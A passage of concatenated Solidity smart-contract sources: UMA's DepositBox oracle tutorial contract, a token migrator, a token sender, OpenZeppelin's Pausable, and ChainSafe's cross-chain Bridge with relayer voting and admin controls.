* This contract should be thought of as a "Deposit Box" into which the user deposits some ERC20 collateral.
* The main feature of this box is that the user can withdraw their ERC20 corresponding to a desired USD amount.
* When the user wants to make a withdrawal, a price request is enqueued with the UMA DVM.
* For simplicty, the user is constrained to have one outstanding withdrawal request at any given time.
* Regular fees are charged on the collateral in the deposit box throughout the lifetime of the deposit box,
* and final fees are charged on each price request.
*
* This example is intended to accompany a technical tutorial for how to integrate the DVM into a project.
* The main feature this demo serves to showcase is how to build a financial product on-chain that "pulls" price
* requests from the DVM on-demand, which is an implementation of the "priceless" oracle framework.
*
* The typical user flow would be:
* - User sets up a deposit box for the (wETH - USD) price-identifier. The "collateral currency" in this deposit
* box is therefore wETH.
* The user can subsequently make withdrawal requests for USD-denominated amounts of wETH.
* - User deposits 10 wETH into their deposit box.
* - User later requests to withdraw $100 USD of wETH.
* - DepositBox asks DVM for latest wETH/USD exchange rate.
* - DVM resolves the exchange rate at: 1 wETH is worth 200 USD.
* - DepositBox transfers 0.5 wETH to user.
*/
contract DepositBox is FeePayer, ContractCreator {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
// Represents a single caller's deposit box. All collateral is held by this contract.
struct DepositBoxData {
// Requested amount of collateral, denominated in quote asset of the price identifier.
// Example: If the price identifier is wETH-USD, and the `withdrawalRequestAmount = 100`, then
// this represents a withdrawal request for 100 USD worth of wETH.
FixedPoint.Unsigned withdrawalRequestAmount;
// Timestamp of the latest withdrawal request. A withdrawal request is pending if `requestPassTimestamp != 0`.
uint256 requestPassTimestamp;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
}
// Maps addresses to their deposit boxes. Each address can have only one position.
mapping(address => DepositBoxData) private depositBoxes;
// Unique identifier for DVM price feed ticker.
bytes32 private priceIdentifier;
// Similar to the rawCollateral in DepositBoxData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned private rawTotalDepositBoxCollateral;
// This blocks every public state-modifying method until it flips to true, via the `initialize()` method.
bool private initialized;
/****************************************
* EVENTS *
****************************************/
event NewDepositBox(address indexed user);
event EndedDepositBox(address indexed user);
event Deposit(address indexed user, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp);
event RequestWithdrawalExecuted(
address indexed user,
uint256 indexed collateralAmount,
uint256 exchangeRate,
uint256 requestPassTimestamp
);
event RequestWithdrawalCanceled(
address indexed user,
uint256 indexed collateralAmount,
uint256 requestPassTimestamp
);
/****************************************
* MODIFIERS *
****************************************/
modifier noPendingWithdrawal(address user) {
_depositBoxHasNoPendingWithdrawal(user);
_;
}
modifier isInitialized() {
_isInitialized();
_;
}
/****************************************
* PUBLIC FUNCTIONS *
****************************************/
/**
* @notice Construct the DepositBox.
* @param _collateralAddress ERC20 token to be deposited.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM, used to price the ERC20 deposited.
* The price identifier consists of a "base" asset and a "quote" asset. The "base" asset corresponds to the collateral ERC20
* currency deposited into this account, and it is denominated in the "quote" asset on withdrawals.
* An example price identifier would be "ETH-USD" which will resolve and return the USD price of ETH.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _collateralAddress,
address _finderAddress,
bytes32 _priceIdentifier,
address _timerAddress
)
public
ContractCreator(_finderAddress)
FeePayer(_collateralAddress, _finderAddress, _timerAddress)
nonReentrant()
{
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Unsupported price identifier");
priceIdentifier = _priceIdentifier;
}
/**
* @notice This should be called after construction of the DepositBox and handles registration with the Registry, which is required
* to make price requests in production environments.
* @dev This contract must hold the `ContractCreator` role with the Registry in order to register itself as a financial-template with the DVM.
* Note that `_registerContract` cannot be called from the constructor because this contract first needs to be given the `ContractCreator` role
* in order to register with the `Registry`. But, its address is not known until after deployment.
*/
function initialize() public nonReentrant() {
initialized = true;
_registerContract(new address[](0), address(this));
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into caller's deposit box.
* @dev This contract must be approved to spend at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public isInitialized() fees() nonReentrant() {
require(collateralAmount.isGreaterThan(0), "Invalid collateral amount");
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
if (_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isEqual(0)) {
emit NewDepositBox(msg.sender);
}
// Increase the individual deposit box and global collateral balance by collateral amount.
_incrementCollateralBalances(depositBoxData, collateralAmount);
emit Deposit(msg.sender, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Starts a withdrawal request that allows the sponsor to withdraw `denominatedCollateralAmount`
* from their position denominated in the quote asset of the price identifier, following a DVM price resolution.
* @dev The request will be pending for the duration of the DVM vote and can be cancelled at any time.
* Only one withdrawal request can exist for the user.
* @param denominatedCollateralAmount the quote-asset denominated amount of collateral requested to withdraw.
*/
function requestWithdrawal(FixedPoint.Unsigned memory denominatedCollateralAmount)
public
isInitialized()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(denominatedCollateralAmount.isGreaterThan(0), "Invalid collateral amount");
// Update the position object for the user.
depositBoxData.withdrawalRequestAmount = denominatedCollateralAmount;
depositBoxData.requestPassTimestamp = getCurrentTime();
emit RequestWithdrawal(msg.sender, denominatedCollateralAmount.rawValue, depositBoxData.requestPassTimestamp);
// Every price request costs a fixed fee. Check that this user has enough deposited to cover the final fee.
FixedPoint.Unsigned memory finalFee = _computeFinalFees();
require(
_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isGreaterThanOrEqual(finalFee),
"Cannot pay final fee"
);
_payFinalFees(address(this), finalFee);
// A price request is sent for the current timestamp.
_requestOraclePrice(depositBoxData.requestPassTimestamp);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and subsequent DVM price resolution),
* withdraws `depositBoxData.withdrawalRequestAmount` of collateral currency denominated in the quote asset.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function executeWithdrawal()
external
isInitialized()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(
depositBoxData.requestPassTimestamp != 0 && depositBoxData.requestPassTimestamp <= getCurrentTime(),
"Invalid withdraw request"
);
// Get the resolved price or revert.
FixedPoint.Unsigned memory exchangeRate = _getOraclePrice(depositBoxData.requestPassTimestamp);
// Calculate denomated amount of collateral based on resolved exchange rate.
// Example 1: User wants to withdraw $100 of ETH, exchange rate is $200/ETH, therefore user to receive 0.5 ETH.
// Example 2: User wants to withdraw $250 of ETH, exchange rate is $200/ETH, therefore user to receive 1.25 ETH.
FixedPoint.Unsigned memory denominatedAmountToWithdraw =
depositBoxData.withdrawalRequestAmount.div(exchangeRate);
// If withdrawal request amount is > collateral, then withdraw the full collateral amount and delete the deposit box data.
if (denominatedAmountToWithdraw.isGreaterThan(_getFeeAdjustedCollateral(depositBoxData.rawCollateral))) {
denominatedAmountToWithdraw = _getFeeAdjustedCollateral(depositBoxData.rawCollateral);
// Reset the position state as all the value has been removed after settlement.
emit EndedDepositBox(msg.sender);
}
// Decrease the individual deposit box and global collateral balance.
amountWithdrawn = _decrementCollateralBalances(depositBoxData, denominatedAmountToWithdraw);
emit RequestWithdrawalExecuted(
msg.sender,
amountWithdrawn.rawValue,
exchangeRate.rawValue,
depositBoxData.requestPassTimestamp
);
// Reset withdrawal request by setting withdrawal request timestamp to 0.
_resetWithdrawalRequest(depositBoxData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external isInitialized() nonReentrant() {
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(depositBoxData.requestPassTimestamp != 0, "No pending withdrawal");
emit RequestWithdrawalCanceled(
msg.sender,
depositBoxData.withdrawalRequestAmount.rawValue,
depositBoxData.requestPassTimestamp
);
// Reset withdrawal request by setting withdrawal request timestamp to 0.
_resetWithdrawalRequest(depositBoxData);
}
/**
* @notice `emergencyShutdown` and `remargin` are required to be implemented by all financial contracts and exposed to the DVM, but
* because this is a minimal demo they will simply exit silently.
*/
function emergencyShutdown() external override isInitialized() nonReentrant() {
return;
}
/**
* @notice Same comment as `emergencyShutdown`. For the sake of simplicity, this will simply exit silently.
*/
function remargin() external override isInitialized() nonReentrant() {
return;
}
/**
* @notice Accessor method for a user's collateral.
* @dev This is necessary because the struct returned by the depositBoxes() method shows
* rawCollateral, which isn't a user-readable value.
* @param user address whose collateral amount is retrieved.
* @return the fee-adjusted collateral amount in the deposit box (i.e. available for withdrawal).
*/
function getCollateral(address user) external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(depositBoxes[user].rawCollateral);
}
/**
* @notice Accessor method for the total collateral stored within the entire contract.
* @return the total fee-adjusted collateral amount in the contract (i.e. across all users).
*/
function totalDepositBoxCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Requests a price for `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePrice(uint256 requestedTime) internal {
OracleInterface oracle = _getOracle();
oracle.requestPrice(priceIdentifier, requestedTime);
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
DepositBoxData storage depositBoxData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(depositBoxData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalDepositBoxCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
DepositBoxData storage depositBoxData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(depositBoxData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalDepositBoxCollateral, collateralAmount);
}
function _resetWithdrawalRequest(DepositBoxData storage depositBoxData) internal {
depositBoxData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
depositBoxData.requestPassTimestamp = 0;
}
function _depositBoxHasNoPendingWithdrawal(address user) internal view {
require(depositBoxes[user].requestPassTimestamp == 0, "Pending withdrawal");
}
function _isInitialized() internal view {
require(initialized, "Uninitialized contract");
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) {
OracleInterface oracle = _getOracle();
require(oracle.hasPrice(priceIdentifier, requestedTime), "Unresolved oracle price");
int256 oraclePrice = oracle.getPrice(priceIdentifier, requestedTime);
// For simplicity we don't want to deal with negative prices.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return FixedPoint.Unsigned(uint256(oraclePrice));
}
// `_pfc()` is inherited from FeePayer and must be implemented to return the available pool of collateral from
// which fees can be charged. For this contract, the available fee pool is simply all of the collateral locked up in the
// contract.
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "./VotingToken.sol";
/**
* @title Migration contract for VotingTokens.
* @dev Handles migrating token holders from one token to the next.
*/
contract TokenMigrator {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
VotingToken public oldToken;
ExpandedIERC20 public newToken;
uint256 public snapshotId;
FixedPoint.Unsigned public rate;
mapping(address => bool) public hasMigrated;
/**
* @notice Construct the TokenMigrator contract.
* @dev This function triggers the snapshot upon which all migrations will be based.
* @param _rate the number of old tokens it takes to generate one new token.
* @param _oldToken address of the token being migrated from.
* @param _newToken address of the token being migrated to.
*/
constructor(
FixedPoint.Unsigned memory _rate,
address _oldToken,
address _newToken
) public {
// Prevents division by 0 in migrateTokens().
// Also it doesn’t make sense to have “0 old tokens equate to 1 new token”.
require(_rate.isGreaterThan(0), "Rate can't be 0");
rate = _rate;
newToken = ExpandedIERC20(_newToken);
oldToken = VotingToken(_oldToken);
snapshotId = oldToken.snapshot();
}
/**
* @notice Migrates the tokenHolder's old tokens to new tokens.
* @dev This function can only be called once per `tokenHolder`. Anyone can call this method
* on behalf of any other token holder since there is no disadvantage to receiving the tokens earlier.
* @param tokenHolder address of the token holder to migrate.
*/
function migrateTokens(address tokenHolder) external {
require(!hasMigrated[tokenHolder], "Already migrated tokens");
hasMigrated[tokenHolder] = true;
FixedPoint.Unsigned memory oldBalance = FixedPoint.Unsigned(oldToken.balanceOfAt(tokenHolder, snapshotId));
if (!oldBalance.isGreaterThan(0)) {
return;
}
FixedPoint.Unsigned memory newBalance = oldBalance.div(rate);
require(newToken.mint(tokenHolder, newBalance.rawValue), "Mint failed");
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/ExpandedERC20.sol";
contract TokenSender {
function transferERC20(
address tokenAddress,
address recipientAddress,
uint256 amount
) public returns (bool) {
IERC20 token = IERC20(tokenAddress);
token.transfer(recipientAddress, amount);
return true;
}
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./IDepositExecute.sol";
import "./IBridge.sol";
import "./IERCHandler.sol";
import "./IGenericHandler.sol";
/**
@title Facilitates deposits, creation and votiing of deposit proposals, and deposit executions.
@author ChainSafe Systems.
*/
contract Bridge is Pausable, AccessControl {
using SafeMath for uint256;
uint8 public _chainID;
uint256 public _relayerThreshold;
uint256 public _totalRelayers;
uint256 public _totalProposals;
uint256 public _fee;
uint256 public _expiry;
enum Vote { No, Yes }
enum ProposalStatus { Inactive, Active, Passed, Executed, Cancelled }
struct Proposal {
bytes32 _resourceID;
bytes32 _dataHash;
address[] _yesVotes;
address[] _noVotes;
ProposalStatus _status;
uint256 _proposedBlock;
}
// destinationChainID => number of deposits
mapping(uint8 => uint64) public _depositCounts;
// resourceID => handler address
mapping(bytes32 => address) public _resourceIDToHandlerAddress;
// depositNonce => destinationChainID => bytes
mapping(uint64 => mapping(uint8 => bytes)) public _depositRecords;
// destinationChainID + depositNonce => dataHash => Proposal
mapping(uint72 => mapping(bytes32 => Proposal)) public _proposals;
// destinationChainID + depositNonce => dataHash => relayerAddress => bool
mapping(uint72 => mapping(bytes32 => mapping(address => bool))) public _hasVotedOnProposal;
event RelayerThresholdChanged(uint256 indexed newThreshold);
event RelayerAdded(address indexed relayer);
event RelayerRemoved(address indexed relayer);
event Deposit(uint8 indexed destinationChainID, bytes32 indexed resourceID, uint64 indexed depositNonce);
event ProposalEvent(
uint8 indexed originChainID,
uint64 indexed depositNonce,
ProposalStatus indexed status,
bytes32 resourceID,
bytes32 dataHash
);
event ProposalVote(
uint8 indexed originChainID,
uint64 indexed depositNonce,
ProposalStatus indexed status,
bytes32 resourceID
);
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
modifier onlyAdmin() {
_onlyAdmin();
_;
}
modifier onlyAdminOrRelayer() {
_onlyAdminOrRelayer();
_;
}
modifier onlyRelayers() {
_onlyRelayers();
_;
}
function _onlyAdminOrRelayer() private {
require(
hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || hasRole(RELAYER_ROLE, msg.sender),
"sender is not relayer or admin"
);
}
function _onlyAdmin() private {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "sender doesn't have admin role");
}
function _onlyRelayers() private {
require(hasRole(RELAYER_ROLE, msg.sender), "sender doesn't have relayer role");
}
/**
@notice Initializes Bridge, creates and grants {msg.sender} the admin role,
creates and grants {initialRelayers} the relayer role.
@param chainID ID of chain the Bridge contract exists on.
@param initialRelayers Addresses that should be initially granted the relayer role.
@param initialRelayerThreshold Number of votes needed for a deposit proposal to be considered passed.
*/
constructor(
uint8 chainID,
address[] memory initialRelayers,
uint256 initialRelayerThreshold,
uint256 fee,
uint256 expiry
) public {
_chainID = chainID;
_relayerThreshold = initialRelayerThreshold;
_fee = fee;
_expiry = expiry;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setRoleAdmin(RELAYER_ROLE, DEFAULT_ADMIN_ROLE);
for (uint256 i; i < initialRelayers.length; i++) {
grantRole(RELAYER_ROLE, initialRelayers[i]);
_totalRelayers++;
}
}
/**
@notice Returns true if {relayer} has the relayer role.
@param relayer Address to check.
*/
function isRelayer(address relayer) external view returns (bool) {
return hasRole(RELAYER_ROLE, relayer);
}
/**
@notice Removes admin role from {msg.sender} and grants it to {newAdmin}.
@notice Only callable by an address that currently has the admin role.
@param newAdmin Address that admin role will be granted to.
*/
function renounceAdmin(address newAdmin) external onlyAdmin {
grantRole(DEFAULT_ADMIN_ROLE, newAdmin);
renounceRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
/**
@notice Pauses deposits, proposal creation and voting, and deposit executions.
@notice Only callable by an address that currently has the admin role.
*/
function adminPauseTransfers() external onlyAdmin {
_pause();
}
/**
@notice Unpauses deposits, proposal creation and voting, and deposit executions.
@notice Only callable by an address that currently has the admin role.
*/
function adminUnpauseTransfers() external onlyAdmin {
_unpause();
}
/**
@notice Modifies the number of votes required for a proposal to be considered passed.
@notice Only callable by an address that currently has the admin role.
@param newThreshold Value {_relayerThreshold} will be changed to.
@notice Emits {RelayerThresholdChanged} event.
*/
function adminChangeRelayerThreshold(uint256 newThreshold) external onlyAdmin {
_relayerThreshold = newThreshold;
emit RelayerThresholdChanged(newThreshold);
}
/**
@notice Grants {relayerAddress} the relayer role and increases {_totalRelayer} count.
@notice Only callable by an address that currently has the admin role.
@param relayerAddress Address of relayer to be added.
@notice Emits {RelayerAdded} event.
*/
function adminAddRelayer(address relayerAddress) external onlyAdmin {
require(!hasRole(RELAYER_ROLE, relayerAddress), "addr already has relayer role!");
grantRole(RELAYER_ROLE, relayerAddress);
emit RelayerAdded(relayerAddress);
_totalRelayers++;
}
/**
@notice Removes relayer role for {relayerAddress} and decreases {_totalRelayer} count.
@notice Only callable by an address that currently has the admin role.
@param relayerAddress Address of relayer to be removed.
@notice Emits {RelayerRemoved} event.
*/
function adminRemoveRelayer(address relayerAddress) external onlyAdmin {
require(hasRole(RELAYER_ROLE, relayerAddress), "addr doesn't have relayer role!");
revokeRole(RELAYER_ROLE, relayerAddress);
emit RelayerRemoved(relayerAddress);
_totalRelayers--;
}
/**
@notice Sets a new resource for handler contracts that use the IERCHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param resourceID ResourceID to be used when making deposits.
@param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetResource(
address handlerAddress,
bytes32 resourceID,
address tokenAddress
) external onlyAdmin {
_resourceIDToHandlerAddress[resourceID] = handlerAddress;
IERCHandler handler = IERCHandler(handlerAddress);
handler.setResource(resourceID, tokenAddress);
}
/**
@notice Sets a new resource for handler contracts that use the IGenericHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetGenericResource(
address handlerAddress,
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external onlyAdmin {
_resourceIDToHandlerAddress[resourceID] = handlerAddress;
IGenericHandler handler = IGenericHandler(handlerAddress);
handler.setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig);
}
/**
@notice Sets a resource as burnable for handler contracts that use the IERCHandler interface.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetBurnable(address handlerAddress, address tokenAddress) external onlyAdmin {
IERCHandler handler = IERCHandler(handlerAddress);
handler.setBurnable(tokenAddress);
}
/**
@notice Returns a proposal.
@param originChainID Chain ID deposit originated from.
@param depositNonce ID of proposal generated by proposal's origin Bridge contract.
@param dataHash Hash of data to be provided when deposit proposal is executed.
@return Proposal which consists of:
- _dataHash Hash of data to be provided when deposit proposal is executed.
- _yesVotes Number of votes in favor of proposal.
- _noVotes Number of votes against proposal.
- _status Current status of proposal.
*/
function getProposal(
uint8 originChainID,
uint64 depositNonce,
bytes32 dataHash
) external view returns (Proposal memory) {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(originChainID);
return _proposals[nonceAndID][dataHash];
}
/**
@notice Changes deposit fee.
@notice Only callable by admin.
@param newFee Value {_fee} will be updated to.
*/
function adminChangeFee(uint256 newFee) external onlyAdmin {
require(_fee != newFee, "Current fee is equal to new fee");
_fee = newFee;
}
/**
@notice Used to manually withdraw funds from ERC safes.
@param handlerAddress Address of handler to withdraw from.
@param tokenAddress Address of token to withdraw.
@param recipient Address to withdraw tokens to.
@param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to withdraw.
*/
function adminWithdraw(
address handlerAddress,
address tokenAddress,
address recipient,
uint256 amountOrTokenID
) external onlyAdmin {
IERCHandler handler = IERCHandler(handlerAddress);
handler.withdraw(tokenAddress, recipient, amountOrTokenID);
}
/**
@notice Initiates a transfer using a specified handler contract.
@notice Only callable when Bridge is not paused.
@param destinationChainID ID of chain deposit will be bridged to.
@param resourceID ResourceID used to find address of handler to be used for deposit.
@param data Additional data to be passed to specified handler.
@notice Emits {Deposit} event.
*/
function deposit(
uint8 destinationChainID,
bytes32 resourceID,
bytes calldata data
) external payable whenNotPaused {
require(msg.value == _fee, "Incorrect fee supplied");
address handler = _resourceIDToHandlerAddress[resourceID];
require(handler != address(0), "resourceID not mapped to handler");
uint64 depositNonce = ++_depositCounts[destinationChainID];
_depositRecords[depositNonce][destinationChainID] = data;
IDepositExecute depositHandler = IDepositExecute(handler);
depositHandler.deposit(resourceID, destinationChainID, depositNonce, msg.sender, data);
emit Deposit(destinationChainID, resourceID, depositNonce);
}
/**
@notice When called, {msg.sender} will be marked as voting in favor of proposal.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param dataHash Hash of data provided when deposit was made.
@notice Proposal must not have already been passed or executed.
@notice {msg.sender} must not have already voted on proposal.
@notice Emits {ProposalEvent} event with status indicating the proposal status.
@notice Emits {ProposalVote} event.
*/
function voteProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 resourceID,
bytes32 dataHash
) external onlyRelayers whenNotPaused {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(_resourceIDToHandlerAddress[resourceID] != address(0), "no handler for resourceID");
require(uint256(proposal._status) <= 1, "proposal already passed/executed/cancelled");
require(!_hasVotedOnProposal[nonceAndID][dataHash][msg.sender], "relayer already voted");
if (uint256(proposal._status) == 0) {
++_totalProposals;
_proposals[nonceAndID][dataHash] = Proposal({
_resourceID: resourceID,
_dataHash: dataHash,
_yesVotes: new address[](1),
_noVotes: new address[](0),
_status: ProposalStatus.Active,
_proposedBlock: block.number
});
proposal._yesVotes[0] = msg.sender;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Active, resourceID, dataHash);
} else {
if (block.number.sub(proposal._proposedBlock) > _expiry) {
// if the number of blocks that has passed since this proposal was
// submitted exceeds the expiry threshold set, cancel the proposal
proposal._status = ProposalStatus.Cancelled;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, resourceID, dataHash);
} else {
require(dataHash == proposal._dataHash, "datahash mismatch");
proposal._yesVotes.push(msg.sender);
}
}
if (proposal._status != ProposalStatus.Cancelled) {
_hasVotedOnProposal[nonceAndID][dataHash][msg.sender] = true;
emit ProposalVote(chainID, depositNonce, proposal._status, resourceID);
// If _depositThreshold is set to 1, then auto finalize
// or if _relayerThreshold has been exceeded
if (_relayerThreshold <= 1 || proposal._yesVotes.length >= _relayerThreshold) {
proposal._status = ProposalStatus.Passed;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Passed, resourceID, dataHash);
}
}
}
/**
@notice Executes a deposit proposal that is considered passed using a specified handler contract.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param dataHash Hash of data originally provided when deposit was made.
@notice Proposal must be past expiry threshold.
@notice Emits {ProposalEvent} event with status {Cancelled}.
*/
function cancelProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 dataHash
) public onlyAdminOrRelayer {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(proposal._status != ProposalStatus.Cancelled, "Proposal already cancelled");
require(block.number.sub(proposal._proposedBlock) > _expiry, "Proposal not at expiry threshold");
proposal._status = ProposalStatus.Cancelled;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, proposal._resourceID, proposal._dataHash);
}
/**
@notice Executes a deposit proposal that is considered passed using a specified handler contract.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param resourceID ResourceID to be used when making deposits.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param data Data originally provided when deposit was made.
@notice Proposal must have Passed status.
@notice Hash of {data} must equal proposal's {dataHash}.
@notice Emits {ProposalEvent} event with status {Executed}.
*/
function executeProposal(
uint8 chainID,
uint64 depositNonce,
bytes calldata data,
bytes32 resourceID
) external onlyRelayers whenNotPaused {
address handler = _resourceIDToHandlerAddress[resourceID];
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
bytes32 dataHash = keccak256(abi.encodePacked(handler, data));
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(proposal._status != ProposalStatus.Inactive, "proposal is not active");
require(proposal._status == ProposalStatus.Passed, "proposal already transferred");
require(dataHash == proposal._dataHash, "data doesn't match datahash");
proposal._status = ProposalStatus.Executed;
IDepositExecute depositHandler = IDepositExecute(_resourceIDToHandlerAddress[proposal._resourceID]);
depositHandler.executeProposal(proposal._resourceID, data);
emit ProposalEvent(chainID, depositNonce, proposal._status, proposal._resourceID, proposal._dataHash);
}
/**
@notice Transfers eth in the contract to the specified addresses. The parameters addrs and amounts are mapped 1-1.
This means that the address at index 0 for addrs will receive the amount (in WEI) from amounts at index 0.
@param addrs Array of addresses to transfer {amounts} to.
@param amounts Array of amonuts to transfer to {addrs}.
*/
function transferFunds(address payable[] calldata addrs, uint256[] calldata amounts) external onlyAdmin {
for (uint256 i = 0; i < addrs.length; i++) {
addrs[i].transfer(amounts[i]);
}
}
}
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
